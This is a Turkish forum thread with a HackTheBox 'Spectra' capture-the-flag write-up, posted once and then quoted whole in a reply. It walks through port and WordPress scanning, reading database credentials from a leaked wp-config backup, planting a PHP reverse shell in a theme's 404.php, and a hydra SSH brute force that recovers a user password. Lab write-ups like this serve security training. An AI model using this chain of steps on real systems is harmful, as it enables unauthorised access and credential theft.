Döküman HackTheBox: Spectra | Foothold ve User

Katılım
25 Ara 2018
Tepki puanı
826
Rating - 0%
Selamlar, HackTheBox platformu üzerinden "Spectra" adlı lab. makinesinin çözümünü göstereceğim.

Not: makine aktiftir, aynı adımları uygulayarak puan kasabilirsiniz.

Önce nmap taraması gerçekleştirelim:

Kod:
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #cat tcp_all.nmap
# Nmap 7.80 scan initiated Tue Mar 30 18:41:02 2021 as: nmap -sS -sV -sC -oA tcp_all 10.10.10.229
Nmap scan report for spectra.htb (10.10.10.229)
Host is up (0.10s latency).
Not shown: 864 closed ports, 133 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 30 18:44:11 2021 -- 1 IP address (1 host up) scanned in 189.47 seconds

Direkt olarak 80. port üzerinden http servisine geçelim. Bakalım ne tarz bir web uygulaması kullanılıyor.
Websitesinin dinamik kodları şöyle:

Kod:
<h1>Issue Tracking</h1>

<h2>Until IT set up the Jira we can configure and use this for issue tracking.</h2>

<h2><a href="http://spectra.htb/main/index.php" target="mine">Software Issue Tracker</a></h2>
<h2><a href="http://spectra.htb/testing/index.php" target="mine">Test</a></h2>

İlk önce jira diyor bu bir cms gibi bir şeydi hatırladığım kadarıyla o yüzden vhost taraması gerçekleştireceğiz ancak domain ne olacak linkleri incelediğimizde klasik olarak spectra.htb domainini gördük. Hemen host dosyama ekledim ve gobuster yazılımı ile virtual host taramasını başlattım.
Sonra gobuster ile ana dizine ve ana dizinde bulunan link verilmiş diğer dizinlere bir dizin, dosya taraması gerçekleştirdim.
Bu sırada vakit kaybetmemek için main dizini ile testing dizinini inceledim ve main dizinin wordpress olduğunu anladım. Çünkü wordpress'te en çok kullanılan twentytwenty teması kullanılıyordu.

Hızlıca testing dizinine geçtim buradada wordpress yüklü ama veritabanı hata mesajı gösteriliyor. Wordpress olduğunu hata mesajının gösterimine bakarak anladım.
Hemen main dizinine gobuster ile dosya, dizin taraması gerçekleştirdim uzantı olarak php,html,txt verdim aynısını testing dizinine de gerçekleştirdim.
Bu sırada wordpress üzerindeki zafiyetleri ve kritik dosyaları -tema, eklenti zafiyetleri gibi- taratmak için. wpscan adlı yazılımı kullandım
İlk başta wpscan yazılımını main dizinine mixed modu ile tarattırdım ancak bir şey çıkmadı ne demek istiyorum yani harici bir eklenti veya tema gibi bir zafiyet içerebilecek dosyalar yok. Bu arada main dizinini incelediğime administrator adlı kullanıcı olduğunu anladım hemen bu kullanıcıya basit parolalar deneyerek sisteme girmeye çalıştım ama yemedi. Denediğim parolalar: (administrator, password, pass, 123).

Sonra testing dizinine geçtim ve bu wordpress içeren dizine wpscan ile taratmak istedim ancak taratmadı çünkü wpscan sistemin wordpress olduğunu algılayamadı. Ben de --force parametresi ile "wordpress olmasa da bildiklerini yap" dedim. Ve bingoo! Unutulmuş bir config dosyası çıktı

Kod:
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #wpscan --url http://10.10.10.229/testing/ -e vt,vp,tt,cb,dbe --force
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.4
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.10.229/testing/ [10.10.10.229]
[+] Started: Wed Mar 31 08:03:13 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: nginx/1.17.4
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://10.10.10.229/testing/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

Fingerprinting the version - Time: 00:01:04 <======================================================> (705 / 705) 100.00% Time: 00:01:04
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Style Etag (Aggressive Detection)
 |  - http://10.10.10.229/testing/wp-admin/load-styles.php, Match: '5.4.2'

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:05 <=======================================================> (342 / 342) 100.00% Time: 00:00:05

[i] No themes Found.

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:42 <=====================================================> (2568 / 2568) 100.00% Time: 00:00:42

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==========================================================> (22 / 22) 100.00% Time: 00:00:00

[i] Config Backup(s) Identified:

[!] http://10.10.10.229/testing/wp-config.php.save
 | Found By: Direct Access (Aggressive Detection)

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:00 <==============================================================> (36 / 36) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Wed Mar 31 08:05:15 2021
[+] Requests Done: 4222
[+] Cached Requests: 6
[+] Data Sent: 915.342 KB
[+] Data Received: 19.777 MB
[+] Memory used: 235.34 MB
[+] Elapsed time: 00:02:02

Wpscan şu dosyanın yedek dosyası olduğunu söyledi: http://10.10.10.229/testing/wp-config.php.save
Girdim baktım sayfa boştu sayfanın html tarafını incelediğimde ise php kodlarını görebildim - çünkü uzantısı aslında .php değil .save olduğundan .php olarak derlenmiyor.
Dosyayı incelediğimde hassas bilgi barındıran verilere ulaştım. Demek istediğim veritabanı bağlantı bilgilerine ulaştım.

Kod:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Sistemde MySQL servisi dışa açık -public- olduğunu hatırlayıp hemen bağlanmayı denedim ancak ip adresi bazlı bir doğrulama sistemi olduğu için bağlanamadım.
Bende sistemde adminer.php tarzı unutulmuş bir dosya aramak için gobuster ile tarattığım dosyalara baktım ancak nafile öyle bir dosya yokmuş. Belki gobuster daha bulamamıştır deyip phpmyadmin dizinini ve adminer.php dosyasına ulaşmaya çalıştım ancak yok öyle bir şey anlaşılan.

Hemen bulduğum parola ile ssh servisine bağlantı kurup giriş yapmayı denedim kullanıcı adı administrator parola devteam01 ancak yemedi en son bu bulduğum parola ile wordpress içerisine giriş yapmak istediğimde girebildim. administrator:devtest01

Bundan sonra kolaya kaçıp metasploit üzerinden reverse shell almak istedim ancak reverse shell aldığımda komut çalıştıramıyordum.

Eski bildiğim yöntem olan 404.php üzerinden shell atma yöntemini kullanarak php reverse shell alabildim burada kullandığım reverse shell dosyasını pentestmonkey üzerinden alıp gerekli yerleri yani ip adresimi ve port bilgisini düzenledikten sonra sisteme yükledim ancak ilk başta twentytwenty temasını yükleyemedim hata verdi bende sistemde yüklü olan twentyseventeen temasının 404.php dosyasına yükledim dosyayı ve son olarak ilgli portumu dinlemeye aldıktan sonra 404.php ulaşmaya çalışınca reverse shell alabildim. Ve sorunsuz bir şekilde komutlarımı çalıştırabiliyordum.

Şimdi foothold tamamdır. SIra geldi user olmaya. Bundan sonrasını dün hatırladığım kadarıyla yazacağım.

Etkileşimli kabuğa geçtim Python içindeki builtin olan pty kütüphanesini kullanarak.
Sistem bizi nginx kullanıcısıyla kabuk veriyordu.
Baya dolaştım birkaç kullanıcının home dizinindeki dosyalarına erişebiliyordum çok gezdim çok dolaştım baktım bir şey çıkmıyor LinEnum.sh dosyası ile sistemden bilgi topladım yine yemedi linpeas.sh dosyasını kendi bilgisayarımda aktifleştirdiğim http servisi ile kendi bilgisayarımdan sisteme linpeas dosyasını çektim.
Sonra linpeas dosyasını çalıştırdım. Ve çıktıyı incelediğimde bir dosya farkettim passwd falan yazıyordu dosya isminde o dosyayı okuduğumda şu veriye ulaştım.

SummerHereWeCome!!

Hemen sistemdeki diğer kullanıcıların bilgilerini çekip hydra ile kaba kuvvet saldırısı gerçekleştirdim ssh servisi üzerindeki giriş sistemine.
Ve başarılı...

Kod:
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #hydra -L passlist -P passlist ssh://10.10.10.229
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-31 08:28:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:7/p:7), ~4 tries per task
[DATA] attacking ssh://10.10.10.229:22/
[22][ssh] host: 10.10.10.229   login: katie   password: SummerHereWeCome!!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-31 08:28:42
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #

Sonra geriye kalan user.txt dosyasını okumaktı onu da okuyunca sonuca ulaştım. user.txt elde ettim.
 
Katılım
30 Mar 2021
Tepki puanı
16
Rating - 0%
Selamlar, HackTheBox platformu üzerinden "Spectra" adlı lab. makinesinin çözümünü göstereceğim.

Not: makine aktiftir, aynı adımları uygulayarak puan kasabilirsiniz.

Önce nmap taraması gerçekleştirelim:

Kod:
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #cat tcp_all.nmap
# Nmap 7.80 scan initiated Tue Mar 30 18:41:02 2021 as: nmap -sS -sV -sC -oA tcp_all 10.10.10.229
Nmap scan report for spectra.htb (10.10.10.229)
Host is up (0.10s latency).
Not shown: 864 closed ports, 133 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 30 18:44:11 2021 -- 1 IP address (1 host up) scanned in 189.47 seconds

Direkt olarak 80. port üzerinden http servisine geçelim. Bakalım ne tarz bir web uygulaması kullanılıyor.
Websitesinin dinamik kodları şöyle:

Kod:
<h1>Issue Tracking</h1>

<h2>Until IT set up the Jira we can configure and use this for issue tracking.</h2>

<h2><a href="http://spectra.htb/main/index.php" target="mine">Software Issue Tracker</a></h2>
<h2><a href="http://spectra.htb/testing/index.php" target="mine">Test</a></h2>

İlk önce jira diyor bu bir cms gibi bir şeydi hatırladığım kadarıyla o yüzden vhost taraması gerçekleştireceğiz ancak domain ne olacak linkleri incelediğimizde klasik olarak spectra.htb domainini gördük. Hemen host dosyama ekledim ve gobuster yazılımı ile virtual host taramasını başlattım.
Sonra gobuster ile ana dizine ve ana dizinde bulunan link verilmiş diğer dizinlere bir dizin, dosya taraması gerçekleştirdim.
Bu sırada vakit kaybetmemek için main dizini ile testing dizinini inceledim ve main dizinin wordpress olduğunu anladım. Çünkü wordpress'te en çok kullanılan twentytwenty teması kullanılıyordu.

Hızlıca testing dizinine geçtim buradada wordpress yüklü ama veritabanı hata mesajı gösteriliyor. Wordpress olduğunu hata mesajının gösterimine bakarak anladım.
Hemen main dizinine gobuster ile dosya, dizin taraması gerçekleştirdim uzantı olarak php,html,txt verdim aynısını testing dizinine de gerçekleştirdim.
Bu sırada wordpress üzerindeki zafiyetleri ve kritik dosyaları -tema, eklenti zafiyetleri gibi- taratmak için. wpscan adlı yazılımı kullandım
İlk başta wpscan yazılımını main dizinine mixed modu ile tarattırdım ancak bir şey çıkmadı ne demek istiyorum yani harici bir eklenti veya tema gibi bir zafiyet içerebilecek dosyalar yok. Bu arada main dizinini incelediğime administrator adlı kullanıcı olduğunu anladım hemen bu kullanıcıya basit parolalar deneyerek sisteme girmeye çalıştım ama yemedi. Denediğim parolalar: (administrator, password, pass, 123).

Sonra testing dizinine geçtim ve bu wordpress içeren dizine wpscan ile taratmak istedim ancak taratmadı çünkü wpscan sistemin wordpress olduğunu algılayamadı. Ben de --force parametresi ile "wordpress olmasa da bildiklerini yap" dedim. Ve bingoo! Unutulmuş bir config dosyası çıktı

Kod:
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #wpscan --url http://10.10.10.229/testing/ -e vt,vp,tt,cb,dbe --force
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.4
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.10.229/testing/ [10.10.10.229]
[+] Started: Wed Mar 31 08:03:13 2021

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: nginx/1.17.4
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://10.10.10.229/testing/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

Fingerprinting the version - Time: 00:01:04 <======================================================> (705 / 705) 100.00% Time: 00:01:04
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
| Found By: Style Etag (Aggressive Detection)
|  - http://10.10.10.229/testing/wp-admin/load-styles.php, Match: '5.4.2'

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:05 <=======================================================> (342 / 342) 100.00% Time: 00:00:05

[i] No themes Found.

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:42 <=====================================================> (2568 / 2568) 100.00% Time: 00:00:42

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==========================================================> (22 / 22) 100.00% Time: 00:00:00

[i] Config Backup(s) Identified:

[!] http://10.10.10.229/testing/wp-config.php.save
| Found By: Direct Access (Aggressive Detection)

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <==============================================================> (36 / 36) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Wed Mar 31 08:05:15 2021
[+] Requests Done: 4222
[+] Cached Requests: 6
[+] Data Sent: 915.342 KB
[+] Data Received: 19.777 MB
[+] Memory used: 235.34 MB
[+] Elapsed time: 00:02:02

Wpscan şu dosyanın yedek dosyası olduğunu söyledi: http://10.10.10.229/testing/wp-config.php.save
Girdim baktım sayfa boştu sayfanın html tarafını incelediğimde ise php kodlarını görebildim - çünkü uzantısı aslında .php değil .save olduğundan .php olarak derlenmiyor.
Dosyayı incelediğimde hassas bilgi barındıran verilere ulaştım. Demek istediğim veritabanı bağlantı bilgilerine ulaştım.

Kod:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Sistemde MySQL servisi dışa açık -public- olduğunu hatırlayıp hemen bağlanmayı denedim ancak ip adresi bazlı bir doğrulama sistemi olduğu için bağlanamadım.
Bende sistemde adminer.php tarzı unutulmuş bir dosya aramak için gobuster ile tarattığım dosyalara baktım ancak nafile öyle bir dosya yokmuş. Belki gobuster daha bulamamıştır deyip phpmyadmin dizinini ve adminer.php dosyasına ulaşmaya çalıştım ancak yok öyle bir şey anlaşılan.

Hemen bulduğum parola ile ssh servisine bağlantı kurup giriş yapmayı denedim kullanıcı adı administrator parola devteam01 ancak yemedi en son bu bulduğum parola ile wordpress içerisine giriş yapmak istediğimde girebildim. administrator:devtest01

Bundan sonra kolaya kaçıp metasploit üzerinden reverse shell almak istedim ancak reverse shell aldığımda komut çalıştıramıyordum.

Eski bildiğim yöntem olan 404.php üzerinden shell atma yöntemini kullanarak php reverse shell alabildim burada kullandığım reverse shell dosyasını pentestmonkey üzerinden alıp gerekli yerleri yani ip adresimi ve port bilgisini düzenledikten sonra sisteme yükledim ancak ilk başta twentytwenty temasını yükleyemedim hata verdi bende sistemde yüklü olan twentyseventeen temasının 404.php dosyasına yükledim dosyayı ve son olarak ilgli portumu dinlemeye aldıktan sonra 404.php ulaşmaya çalışınca reverse shell alabildim. Ve sorunsuz bir şekilde komutlarımı çalıştırabiliyordum.

Şimdi foothold tamamdır. SIra geldi user olmaya. Bundan sonrasını dün hatırladığım kadarıyla yazacağım.

Etkileşimli kabuğa geçtim Python içindeki builtin olan pty kütüphanesini kullanarak.
Sistem bizi nginx kullanıcısıyla kabuk veriyordu.
Baya dolaştım birkaç kullanıcının home dizinindeki dosyalarına erişebiliyordum çok gezdim çok dolaştım baktım bir şey çıkmıyor LinEnum.sh dosyası ile sistemden bilgi topladım yine yemedi linpeas.sh dosyasını kendi bilgisayarımda aktifleştirdiğim http servisi ile kendi bilgisayarımdan sisteme linpeas dosyasını çektim.
Sonra linpeas dosyasını çalıştırdım. Ve çıktıyı incelediğimde bir dosya farkettim passwd falan yazıyordu dosya isminde o dosyayı okuduğumda şu veriye ulaştım.

SummerHereWeCome!!

Hemen sistemdeki diğer kullanıcıların bilgilerini çekip hydra ile kaba kuvvet saldırısı gerçekleştirdim ssh servisi üzerindeki giriş sistemine.
Ve başarılı...

Kod:
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #hydra -L passlist -P passlist ssh://10.10.10.229
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-31 08:28:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:7/p:7), ~4 tries per task
[DATA] attacking ssh://10.10.10.229:22/
[22][ssh] host: 10.10.10.229   login: katie   password: SummerHereWeCome!!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-31 08:28:42
┌─[root@parrot]─[/home/emre/Desktop/HackTheBox/spectra]
└──╼ #

Sonra geriye kalan user.txt dosyasını okumaktı onu da okuyunca sonuca ulaştım. user.txt elde ettim.
Yararlı
 
131,540Konular
3,269,080Mesajlar
315,369Kullanıcılar
hstqSon Üye
Üst Alt